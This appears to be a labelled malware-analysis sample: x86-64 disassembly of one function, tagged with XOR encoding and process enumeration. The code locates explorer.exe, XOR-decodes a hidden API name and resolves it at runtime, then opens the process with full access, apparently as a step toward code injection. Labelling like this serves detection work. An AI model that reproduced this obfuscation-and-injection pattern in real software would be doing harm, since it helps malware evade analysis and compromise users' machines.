Function at 0x140001000
Capabilities:
Encode data using xor
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x130
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
mov rcx, rbx
test eax, eax
jne 0x140001051
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
lea rdx, [rsp + 0x30]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x14000125f
lea rdx, [rsp + 0x5c]
lea rcx, str.explorer.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x140001086
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rsp + 0x38]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001063
test edi, edi
je 0x14000125f
movsxd r9, dword [0x1400211d8]
lea r8, [rsp + 0x21]
xor edx, edx
mov dword [rsp + 0x20], 0xc4cfdab5
xor r10d, r10d
mov dword [rsp + 0x24], 0x99617c5a
dec r9
mov dword [rsp + 0x28], 0xad9d9cf
lea r11, [0x1400211d0]
xor ecx, ecx
movsxd rax, edx
cmp rax, r9
cmovne ecx, edx
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 1], al
inc ecx
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
xor edx, edx
movzx eax, byte [rax + r11]
xor byte [r8], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
xor edx, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 1], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
xor edx, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 2], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
xor edx, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 3], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
xor edx, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 4], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
xor edx, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 5], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
xor edx, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 6], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
xor edx, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 7], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
movzx eax, byte [rax + r11]
xor byte [r8 + 8], al
movsxd rax, ecx
xor edx, edx
lea r8, [r8 + 0xc]
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
xor edx, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
add r10d, 0xc
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
inc edx
cmp r10d, 0xc
jb 0x1400010d2
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
mov qword [0x140022ea8], rax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x14000125f
movsxd rdx, dword [0x1400211cc]
mov rcx, rax
call fcn.1400013a0
mov rbx, qword [rsp + 0x170]
xor eax, eax
add rsp, 0x160
pop rdi
ret